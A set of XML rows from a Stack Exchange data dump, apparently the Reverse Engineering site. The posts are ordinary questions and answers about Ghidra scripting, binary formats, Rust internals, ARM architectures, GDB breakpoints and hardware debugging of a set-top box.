  <row Id="25600" PostTypeId="2" ParentId="25572" CreationDate="2020-08-03T09:49:00.413" Score="3" Body="&lt;p&gt;First of all, I want to clarify some of the concepts about &amp;quot;API calls.&amp;quot; I will explain these concepts, mainly thinking of WinAPI and PE files. I'm not claiming these definitions are correct for all systems.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Operating system programming interfaces&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I assume you are referring to OS API libraries as API. OS API is consists of different interfaces that user-mode applications can use to access the operating system. Using OS API, user-mode applications can abstract system call interfaces with more portable ones. There are many other benefits of OS API libraries like diversifying basic system call operations with high-level operations and making system call interface independent from user mode application interface. Some known OS API implementations are WinAPI and Glibc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can obtain shared library (DLL files in Microsoft Windows systems) information from an executable file?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most of the time shared library information is given in the PE header. And static analysis tools extract that information from that. I'm sure disassemblers like IDA has advanced features and extensions for detecting dynamic library loading.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can we get dynamically loaded library information?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some software like computer viruses and commercial products want to hide their operations from inspection to hide their activities or protect their intellectual property. They use dynamic loading to mask their OS and other API usages. They use &lt;em&gt;LoadLibrary&lt;/em&gt; like API functions (and lots of different variations) for loading shared libraries. A sandbox or debugger can access this information hooking these functions. But, it is not sure that they can find all instances of dynamic loading.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can static and dynamic shared library information differ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't know how Cuckoo and IDA access shared library information, but static and dynamic analysis can show different shared libraries. Theoretically, some static analysis methods could find all dynamically loaded libraries. Which does not mean they mostly do.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastActivityDate="2020-08-03T09:49:00.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25602" PostTypeId="1" CreationDate="2020-08-03T18:19:01.227" Score="1" ViewCount="97" Body="&lt;p&gt;I want to look under a BGA chip and map JTAG pins to traces where I can attach a JTAGulator. Is there some version of a BGA x-ray that isn't thousands of $'s?&lt;/p&gt;&#xA;&lt;p&gt;Here's a picture of the BGA's. Would it be easier to build a breakout connector to insert between this and main board?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dDocy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDocy.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I desoldered them, maybe I could stick them in a socket and read them directly?&lt;/p&gt;&#xA;" OwnerUserId="33511" LastEditorUserId="33511" LastEditDate="2020-08-06T18:50:35.067" LastActivityDate="2020-08-06T18:50:35.067" Title="cheap BGA x-ray machine?" Tags="|jtag|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25603" PostTypeId="2" ParentId="25561" CreationDate="2020-08-03T20:24:27.780" Score="1" Body="&lt;p&gt;In case anyone wondering, I posted this question on ghidra github as well and @cetfor posted a very good way to do this. You can find that question &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/2143&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried to reproduce it and I was able to do this successfully.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.app.decompiler import DecompileOptions&#xA;from ghidra.app.decompiler import DecompInterface&#xA;&#xA;ifc = DecompInterface()&#xA;ifc.setOptions(DecompileOptions())&#xA;ifc.openProgram(currentProgram)&#xA;&#xA;for function in functions:&#xA;    res = ifc.decompileFunction(function, 60, monitor)&#xA;    high_func = res.getHighFunction()&#xA;    lsm = high_func.getLocalSymbolMap()&#xA;    symbols = lsm.getSymbols()&#xA;&#xA;    for i, symbol in enumerate(symbols):&#xA;      print(&amp;quot;Symbol {}: {} (size: {})&amp;quot;.format(i+1, symbol.getName(), symbol.size))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; endpoint for more information on highfunction. Note that I found differences in variables given by this decompiler interface and listing. Also, I couldn't find any api endpoint which gives address references by these variables (something like &lt;code&gt;getReferencesTo&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-08-03T21:06:51.427" LastActivityDate="2020-08-03T21:06:51.427" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25606" PostTypeId="1" AcceptedAnswerId="25622" CreationDate="2020-08-04T09:32:10.967" Score="1" ViewCount="280" Body="&lt;p&gt;&lt;a href=&quot;https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html#ways-variables-and-data-interact-move&quot; rel=&quot;nofollow noreferrer&quot;&gt;According to RUST documentation&lt;/a&gt;, strings are stored this way :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/731rx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/731rx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a statement I can verify while reversing rust binaries.&#xA;The thing is that when I am reversing rust binaries, I likely encounter cases where capacity is lower than length of the string, eg :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[stack]:00007FFC8BE97218 str_ABCED dq offset ABCED               ; DATA XREF: XX&#xA;[stack]:00007FFC8BE97218                                         ; (len=10) ABCEDFGHIJ&#xA;[stack]:00007FFC8BE97220 dq 28h                                  ; String len: 40&#xA;[stack]:00007FFC8BE97228 cap_ABCED dq 25h                        ; String 'capacity'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How is such a thing possible? Do any resource exists explaining rust internals?&lt;/p&gt;&#xA;" OwnerUserId="33922" LastActivityDate="2020-08-07T22:02:52.083" Title="Rust string capacity lower than string lenght" Tags="|debugging|memory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25607" PostTypeId="2" ParentId="24801" CreationDate="2020-08-04T11:34:30.093" Score="1" Body="&lt;p&gt;Firstly I am using the GX6622 version right now. I have one GX6605s version which requires the usb wifi but not yet powered it up. Still finalising the track layout and pin out under the microscope.&#xA;But my understanding is both chip versions with different brand names sold here in Indonesia both have telnet. I have seen a few variants of the board layout but all seem to have the same components.&lt;/p&gt;&#xA;&lt;p&gt;The GX6622 version has 100+ pins, 1gb of external DDR, 8mb SPI flash, RS232, 2 USB and cat5 ethernet.&#xA;The GX6605S version is 68 pins, 512mb internal, 4mb SPI flash and 2 USB. Uart 3v TTL TXD pin 26 RXD pin 27 to pads under the board if not on top.&lt;/p&gt;&#xA;&lt;p&gt;There is another version GX????, I suspect latter cpu version which uses a 16mb SPI flash.&lt;/p&gt;&#xA;&lt;p&gt;The size of your firmware image would confirm the GX chip you have. Because the flash is 8 pin SOIC SPI external it is possible to swap to a 16mbyte flash and mod the code to use it. Also as you can reflash the flash IC so you cant brick the box.&lt;/p&gt;&#xA;&lt;p&gt;I am using putty by ip on port 23 as per defaults for telnet. Possibly your firmware is different? I cant find those ports you mention open here, only 23.&lt;/p&gt;&#xA;&lt;p&gt;There is no ssh in the firmware here, I wonder what your open ports are for.&#xA;The serial is at 115200, in my box it puts out about 10 characters and then seems to wait on something from the uploading program.&lt;/p&gt;&#xA;&lt;p&gt;I have spend many weeks searching in Chinese and other languages for this project and have accumulated quite some info. The problem is while the Csky C610 processor is documented on github and their site is very active with support of newer Csky cpu's, there is no release of the rest of the Soc data which is produced by another company.&#xA;Makes it hard without the IO datasheet. There is a helpful pinout Gx 6605s in the Csky dev board schematic on their Github.&#xA;So reverse engineering the code to use the IO seems unavoidable. Fortunately the IO is separate in modules, not in the main app.&lt;/p&gt;&#xA;&lt;p&gt;Some of the config and test tools I have found indicate the main app can work with large number of io devices, so expect the main dvb ap code to have may options of tuner and demod code within, somewhere there will be in the flash &amp;quot;data&amp;quot; block definitions of which one is used as they are configurable in the flash with config software tools.&lt;/p&gt;&#xA;&lt;p&gt;Here is a list of the IO kernel modules I have you may already have found, and an what I think they do.&lt;/p&gt;&#xA;&lt;p&gt;In /lib/modules/2.6.27.55&#xA;av.ko   is video output&lt;/p&gt;&#xA;&lt;p&gt;fe.ko   is I2C for the front end, probably GX3211 demod in the Soc and a RDA5815M tuner chip under the shielding.&lt;/p&gt;&#xA;&lt;p&gt;gpio.ko  -still investigating connections.&lt;/p&gt;&#xA;&lt;p&gt;panel.ko  is I2C for a custom chip for which I have a datasheet, drives up to 4 led, 4 press button and the 7 seg displays.&lt;/p&gt;&#xA;&lt;p&gt;rt5370sta.ko is the wifi.&lt;/p&gt;&#xA;&lt;p&gt;So I have collected a lot of firmware tools, code and snippets for these chips also some datasheets of devices in the GX family. Shortly I will start uploading it and links to github as linux project, firstly I want to make one into a DVB-S2 weather satellite receiver but have no data on the GX3211 demod in the Soc as yet.&lt;/p&gt;&#xA;&lt;p&gt;It seems the I2C and Spi Flash are used via standard linux methods like ioctl and mtb, flash tools etc.&lt;/p&gt;&#xA;&lt;p&gt;As soon as I verify the pinout and schematic of the GX6605s board, I will sort out and start uploading all the info I cave collated and work I have done and as a RE project on my github. It will also take some time.&#xA;&lt;a href=&quot;https://github.com/vk-hca&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/vk-hca&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;BTW what kink of hack do you wish to implement on the STB?&lt;/p&gt;&#xA;" OwnerUserId="34024" LastActivityDate="2020-08-04T11:34:30.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25608" PostTypeId="1" CreationDate="2020-08-04T22:50:54.343" Score="-3" ViewCount="1938" Body="&lt;p&gt;I will have a question for you, dear forum residents. I have a .jar file encrypted with ZKM which I think will work for me. I don't know how to decrypt this, can you help me?&lt;/p&gt;&#xA;" OwnerUserId="34047" LastActivityDate="2020-08-18T17:40:53.447" Title="how to deobfuscate to java zkm?" Tags="|java|jar|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25609" PostTypeId="1" CreationDate="2020-08-05T07:23:12.687" Score="2" ViewCount="219" Body="&lt;p&gt;I am working on an automatic decode tool for a database like file structure. The file consists of a header and a body. Information that is known before trying to decode the file: Number of rows and size of the body. The files are generally pretty small. 1 to 35 columns and 1 to to 4000 rows.&lt;/p&gt;&#xA;&lt;p&gt;The fields can be the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;String : one byte for size, followed by the actual string, not zero terminated&lt;/li&gt;&#xA;&lt;li&gt;StringAcii : one byte for size, followed by the actual string, not zero terminated&lt;/li&gt;&#xA;&lt;li&gt;OptionalString : one byte which can be 0 or 1, if 1, its followed by a string&lt;/li&gt;&#xA;&lt;li&gt;OptionalStringAcii : one byte which can be 0 or 1, if 1, its followed by a string&lt;/li&gt;&#xA;&lt;li&gt;Number : 32 bits&lt;/li&gt;&#xA;&lt;li&gt;Bool : Byte with value 0 or 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There is also a meta data file for each file which contains the number of columns.&lt;/p&gt;&#xA;&lt;p&gt;My current approach is this: Compute all possible column types, but exit early if I find a combination that never can be possible while looking at the first row. Eg column 1 = bool, where value is 4.&lt;/p&gt;&#xA;&lt;p&gt;For each possible column combination that is at least valid for the first row, try to parse the whole table. If no errors and all byte are consumed at the end we have a possible candidate.&lt;/p&gt;&#xA;&lt;p&gt;This works pretty well, but it is way too slow if a table has 25+ columns.I also often get multiple possible schamas. What would be a better way to address this problem? Anything I can do to reduce the number of possible combinations?&lt;/p&gt;&#xA;" OwnerUserId="34050" LastActivityDate="2023-04-23T17:27:18.690" Title="Algorithm for decoding database like file structure" Tags="|file-format|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25611" PostTypeId="1" CreationDate="2020-08-05T21:31:45.690" Score="1" ViewCount="139" Body="&lt;p&gt;I am trying to develop a machine learning model to help with the process of reverse engineering. As the first stage, we are currently trying to train an embedding model that understand the dependencies and relationships between the insrtuctions. As usual, embedding model does need huge amount of data to be smart.&lt;/p&gt;&#xA;&lt;p&gt;Our work is more focused upon microcontroller based systems and the architectures of ARMv7-m and ARMv6-m are the most important for our work. However, as finding binaries related to these architectures that could be useful for training the embedding model, I was thinking to use ARMv7 from a debian packages so that I could use already compiled binaries and train the embedding model.&lt;/p&gt;&#xA;&lt;p&gt;However, these binaries are compiled with ARMv7-a architecture and as I know ARMv7-a does not include the thumb instruction set (correct me if I am wrong). Could somebody explained me whether ARMv7-a does include thumb instructions in its ISA? Will training on ARMv7-a would help to understand relationships between ARMv7-m and ARMv6-m instructions? Is it going to be an issue if I use ARMv7-a as my goal is to work with the ARMv7-m systems?&lt;/p&gt;&#xA;&lt;p&gt;I really had trouble understanding these and any help or thoughts are much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="31454" LastActivityDate="2020-08-06T18:15:13.580" Title="Confusion between different ARM architectures" Tags="|disassembly|binary-analysis|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25612" PostTypeId="1" AcceptedAnswerId="25628" CreationDate="2020-08-06T00:07:55.690" Score="2" ViewCount="942" Body="&lt;p&gt;This is my first time posting here and also my first time attempting to do reverse engineering of this kind.&lt;/p&gt;&#xA;&lt;p&gt;Let´s get to the point:&#xA;I have to find a way of reading some phone call audio files. The files have a mysterious &amp;quot;.vx8&amp;quot; extension which yields no relevant results on google. The format seems to be proprietary from the software.&lt;/p&gt;&#xA;&lt;p&gt;On other questions here, I saw that trying to open the file in VLC and looking for metadata (Ctrl+I) is usefull. This yields no information on VLC other than the filename.&lt;/p&gt;&#xA;&lt;p&gt;I do not have access to the software that makes these files (which is key part of some suggestions found here as well)&lt;/p&gt;&#xA;&lt;p&gt;Here is the head of the hexdump for some files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;hexdump -C 01Z7I579.vx8|head&#xA;00000000  01 e1 70 fc e1 ee 64 d6  01 80 80 08 80 08 08 08  |..p...d.........|&#xA;00000010  09 00 08 08 08 80 08 08  08 80 80 80 09 00 80 08  |................|&#xA;00000020  80 08 80 80 80 80 08 80  08 80 08 80 08 09 18 80  |................|&#xA;00000030  08 80 08 08 08 08 08 08  08 80 80 08 08 80 80 80  |................|&#xA;00000040  08 08 08 08 08 08 80 08  80 80 80 08 08 08 80 09  |................|&#xA;00000050  18 08 80 80 80 09 18 80  80 08 80 08 08 80 81 90  |................|&#xA;00000060  80 08 08 81 90 88 18 80  08 08 08 80 08 80 00 90  |................|&#xA;00000070  08 08 08 80 09 18 80 08  80 08 80 08 80 08 80 00  |................|&#xA;00000080  90 08 80 80 08 80 08 80  09 18 09 18 80 09 01 89  |................|&#xA;00000090  00 08 80 08 80 80 00 98  10 90 08 80 88 18 80 08  |................|&#xA;&#xA;hexdump -C 01Z7I5EZ.vx8|head&#xA;00000000  01 d1 55 86 7c f0 64 d6  01 08 08 08 80 08 08 08  |..U.|.d.........|&#xA;00000010  80 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|&#xA;00000020  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|&#xA;00000030  08 08 80 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|&#xA;00000040  08 08 80 08 08 08 08 08  08 08 80 08 08 80 08 08  |................|&#xA;00000050  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|&#xA;*&#xA;00000070  08 08 08 08 08 08 08 08  08 08 08 08 80 80 80 08  |................|&#xA;00000080  08 08 08 08 08 08 08 08  08 08 08 08 80 08 08 08  |................|&#xA;00000090  08 08 08 08 08 08 08 08  08 08 08 08 08 08 80 08  |................|&#xA;&#xA;hexdump -C 01Z7I5IZ.vx8|head&#xA;00000000  01 16 62 09 54 f1 64 d6  01 fd 14 8a 82 10 a8 a2  |..b.T.d.........|&#xA;00000010  0c 23 42 83 e8 99 0b 88  38 a3 22 b1 0f 08 11 12  |.#B.....8.&amp;quot;.....|&#xA;00000020  ad 02 0f 94 88 09 03 00  a2 49 0c b3 6b c2 1d 11  |.........I..k...|&#xA;00000030  b9 34 0b 30 32 ca 90 49  90 b0 01 b0 08 13 9f 08  |.4.02..I........|&#xA;00000040  88 a1 51 12 8b a2 4d 01  92 af 82 4c 80 80 18 a0  |..Q...M....L....|&#xA;00000050  34 10 a3 28 f8 18 80 0b  c8 81 9a 60 28 9b 09 00  |4..(.......`(...|&#xA;00000060  b7 21 9b 3c 81 92 4b ac  52 ab 52 9a 0b a3 0e 85  |.!.&amp;lt;..K.R.R.....|&#xA;00000070  29 92 b8 23 a0 2a db 39  98 20 2c e2 29 b9 62 1b  |)..#.*.9. ,.).b.|&#xA;00000080  85 3b c3 48 a9 d8 90 1c  54 09 c1 09 a1 20 38 e8  |.;.H....T.... 8.|&#xA;00000090  2a 99 31 00 1a ab b2 52  a3 73 bf 02 bb 33 1d 12  |*.1....R.s...3..|&#xA;&#xA;hexdump -C 01Z7I589.vx8|head&#xA;00000000  01 96 1c 87 09 ef 64 d6  01 20 39 35 3a 21 1a 8b  |......d.. 95:!..|&#xA;00000010  10 cb 32 b2 33 22 dc 91  f9 92 80 a4 01 a3 03 b3  |..2.3&amp;quot;..........|&#xA;00000020  37 01 14 1b 81 28 a1 6a  a1 3a af bb ff 9a a9 40  |7....(.j.:.....@|&#xA;00000030  20 24 49 02 0a 98 80 b9  23 b2 44 00 9a f0 b9 c2  | $I.....#.D.....|&#xA;00000040  81 a3 04 a2 11 83 33 20  25 28 18 39 2a 69 08 1b  |......3 %(.9*i..|&#xA;00000050  2e cb ef c1 ba 13 03 85  31 93 09 b0 81 bb 34 99  |........1.....4.|&#xA;00000060  52 29 11 bb bf f0 9a 04  00 82 30 c2 39 92 42 09  |R)........0.9.B.|&#xA;00000070  31 bc 41 0a 51 99 11 cf  9b ff 1a 90 20 18 42 19  |1.A.Q....... .B.|&#xA;00000080  21 9a 00 0a a3 2a 97 11  a2 1b e1 e8 09 93 90 10  |!....*..........|&#xA;00000090  03 91 48 03 31 58 31 08  29 12 19 8b 10 8d da df  |..H.1X1.).......|&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, for some of the files, 8´s and 0´s are abundant (I have no clue why) and some other don´t have them at all.&lt;/p&gt;&#xA;&lt;p&gt;The 8th and 9th bytes are always &lt;code&gt;d6 01&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The audio samples seem to begin on the 10th byte.&lt;/p&gt;&#xA;&lt;p&gt;I have requested to the person with access to the files and software to send me some pairs of files for the same audio (.mp3 and .vx8) to try to see the difference in size and infer some bitrate (As suggested in other questions). They have sent me mp3 files before (not for the same phone calls) and the mp3 files seem to be larger than the .vx8, but I will have to confirm this once I have the pairs.&lt;/p&gt;&#xA;&lt;p&gt;It would be very helpful to know any other strategies that I might be missing.&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="34054" LastActivityDate="2020-08-08T15:44:39.877" Title="Reverse engineer a proprietary audio file" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25613" PostTypeId="1" CreationDate="2020-08-06T04:39:09.947" Score="0" ViewCount="468" Body="&lt;p&gt;I have been using Ghidra, along with VoidWarranty's N64 loader to figure out analyze some unused functionality in an obscure title. however, it does  not recognize valid instructions with the default selected MIPS CPU, such as &lt;code&gt;0xdf410328&lt;/code&gt; (&lt;code&gt;LD AT,0x0328(K0)&lt;/code&gt;), &lt;code&gt;0xff410328&lt;/code&gt; (&lt;code&gt;SD AT,0x0328(K0)&lt;/code&gt;), &lt;code&gt;0xfcb00098&lt;/code&gt; (&lt;code&gt;SD S0,0x0098(A1)&lt;/code&gt;). is this an issue with ghidra's definition, or am i just using the wrong processor for the job (MIPS:BE:32:default (1.5))?&lt;/p&gt;&#xA;" OwnerUserId="34056" LastEditorUserId="153" LastEditDate="2020-08-08T22:44:21.717" LastActivityDate="2020-08-08T22:44:21.717" Title="N64 Ghidra setup: missing MIPS instructions?" Tags="|ghidra|mips|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25614" PostTypeId="2" ParentId="25585" CreationDate="2020-08-06T08:19:45.253" Score="1" Body="&lt;p&gt;So I though it would be a nice pet-project so I've started building a PoC tool that can generate a CFG for a given method in the .NET assembly.&lt;/p&gt;&#xA;&lt;p&gt;The PoC uses &lt;code&gt;Mono.Cecil&lt;/code&gt; to inspect the binary and produces a graph in a DOT language than later can be transformed into a picture with &lt;code&gt;dot&lt;/code&gt; tool and works on IL level.&lt;/p&gt;&#xA;&lt;p&gt;A bit of technical info.&lt;/p&gt;&#xA;&lt;p&gt;First it determines leaders - instructions that will be the first instruction in the basic blocks (BB) - by going through the opcodes and checking the control flow type:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Return&lt;/code&gt; - the next one (if exists) will be a leader.&lt;/li&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Branch&lt;/code&gt; - the destination of the branch instruction will be a leader&lt;/li&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Cond_Branch&lt;/code&gt; - the destination of the branch and the next instruction will be leaders.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also doing that we can construct edges between those BBs, there will be different outgoing edges depending on the type of flow:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Return&lt;/code&gt; there will be no outgoing edge&lt;/li&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Branch&lt;/code&gt; there will be an outgoing edge from the current instruction's BB to the branch's destination BB&lt;/li&gt;&#xA;&lt;li&gt;If the instruction's control flow type is of type &lt;code&gt;Cond_Branch&lt;/code&gt; there will be outgoing edges from the current BB to the destination of the &lt;code&gt;Cond_Branch&lt;/code&gt; BB and to the next instruction's BB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The only thing we need to do having those info, is to generate a graph definition in the DOT langage.&lt;/p&gt;&#xA;&lt;p&gt;Calling the tool in the following way&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;./cfg.exe Mono.Cecil.dll Mono.Cecil.MetadataBuilder.AddCustomDebugInformations | dot -Tpng -o cfg.png&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;will generate for us a &amp;quot;nice&amp;quot; CFG for the method &lt;code&gt;AddCustomDebugInformations&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://github.com/pawlos/cfg/raw/master/cfg-add-custom-debug-informations.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It might fail for some strange (or normal) edge cases and of course there's a lot to improve but overall CFG is there ;)&lt;/p&gt;&#xA;&lt;p&gt;Link to the repo: &lt;a href=&quot;https://github.com/pawlos/cfg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pawlos/cfg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-08-06T08:19:45.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25615" PostTypeId="1" AcceptedAnswerId="25624" CreationDate="2020-08-06T14:11:59.150" Score="1" ViewCount="282" Body="&lt;p&gt;I have a memory dump of notepad.exe. Radare's &lt;code&gt;iS&lt;/code&gt; to print sections gives me the mapped files (executable and it's dll's) as well as the many sections simply marked 'Memory_Section', which from what I can tell are the memory pages mapped out by the program to form the heap. Radare gives the permissions of these pages but not the flags they were created with, in particular if they are shared or private, reserved or committed, file backed or anonymous, etc. I assume working memory will generally be anonymous and private anyway, but I am working in the context of malware analysis, so nothing can be taken from granted.&lt;/p&gt;&#xA;&lt;p&gt;How can I find the specific type that a particular memory mapping is? Can this be done statically, or will I need to emulate the memory dump somehow?&lt;/p&gt;&#xA;" OwnerUserId="34062" LastActivityDate="2020-08-08T05:18:57.217" Title="Finding mapped memory page flags in Radare2" Tags="|windows|radare2|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25616" PostTypeId="1" CreationDate="2020-08-06T14:57:31.307" Score="0" ViewCount="1258" Body="&lt;p&gt;Sorry English isn't my first language.&lt;/p&gt;&#xA;&lt;p&gt;I noticed something when setting breakpoints in GDB. It appears that they are ignored if symbols aren't loaded.&lt;/p&gt;&#xA;&lt;p&gt;I have found it weird how GDB behaves when there are no symbols at all loaded and if I want to debug something I am having to set a break point at &lt;strong&gt;__libc_start_main@plt&lt;/strong&gt; and &lt;strong&gt;nexti&lt;/strong&gt; until I reach a the main binary.  I also noticed that I cannot disassemble there in the main binary either (I receive this odd message &amp;quot;&lt;em&gt;No function contains program counter for selected frame.&lt;/em&gt;&amp;quot;), but that aside it break points are essentially ignored. I have found an odd work around and that is setting&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set *0x56555878 = 0xcc &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why does GDB behave so weirdly without symbols?&lt;/li&gt;&#xA;&lt;li&gt;Why do normal for breakpoints fail to be recognized?&lt;/li&gt;&#xA;&lt;li&gt;Is setting my desired breakpoints to 0xcc and then resting; Is this a good practice?&lt;/li&gt;&#xA;&lt;li&gt;Is there a better way to set breakpoints?&lt;/li&gt;&#xA;&lt;li&gt;Why can I not disassemble without Why can I not disassemble without symbols?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Edit: It looks like I cannot set *breakpoints in glibc but I can when I land in int main() program , But while in the int main() , I lose ability to disassemble.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="6992" LastEditDate="2020-08-06T15:12:32.050" LastActivityDate="2020-08-07T23:14:04.270" Title="Can I force GDB breakpoints and disassemble?" Tags="|debugging|c++|gdb|breakpoint|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25617" PostTypeId="1" CreationDate="2020-08-06T17:31:02.427" Score="0" ViewCount="165" Body="&lt;p&gt;I've learned extensively about PE and PE64 format a while back. I am now digging deeper into ELF format. However, I've not found as many thorough resources for ELF as I did for PE, such as ARTeam's PE format compendium and other blogs. I am looking for a comparison of how dependency/symbol resolution, version symbols, and relocations are done in ELF vs. Portable Executable.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2020-08-10T23:56:58.967" LastActivityDate="2020-08-10T23:56:58.967" Title="How is ELF symbol resolution and relocation different from PE symbol resolution?" Tags="|elf|pe|executable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25618" PostTypeId="2" ParentId="25611" CreationDate="2020-08-06T18:15:13.580" Score="2" Body="&lt;p&gt;While ARMv7-A does include the Thumb-2 subset used in ARMv7-M, the actually used instructions in ARMv7-A binaries will likely be pretty different from those used in ARMv7-M microcontrollers.&lt;/p&gt;&#xA;&lt;p&gt;For one example, microcontrollers rarely use NEON floating-point or vector instructions from ARMv7-A (Cortex-M4F has FPU but IIRC it’s single precision only). Conversely, there are some instructions which are only used in Cortex-M but not Cortex-A (e.g. instructions accessing some system registers) and of course the A variants support the “classic” ARM instructions not supported at all by the M subset. ARMv6-M is even more different since it mostly uses the 16-bit (Thumb-1) subset and not the more powerful Thumb-2.&lt;/p&gt;&#xA;&lt;p&gt;One more difference: Debian packages mostly contain user-mode code running in an OS environment but microcontrollers usually run monolithic firmware running on “bare metal”, implementing either a simple state machine or some kind of RTOS with the  OS functionality, interrupt handlers and the “user payload” tasks all combined in the same binary.&lt;/p&gt;&#xA;&lt;p&gt;Summary: while there &lt;em&gt;may&lt;/em&gt; be some intersection between ARMv7-A and ARMv7-M, they’re used in quite different environments and training on armv7 Debian packages is unlikely to give good results on ARMv7-M firmware.&lt;/p&gt;&#xA;&lt;p&gt;P.S. the compilers are usually different as well. Linux software is usually compiled with GCC (sometimes Clang) but the consumer devices firmware is often compiled with commercial compilers such as ARM’s own Keil, IAR, or GHS (Green Hills Software).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-06T18:15:13.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
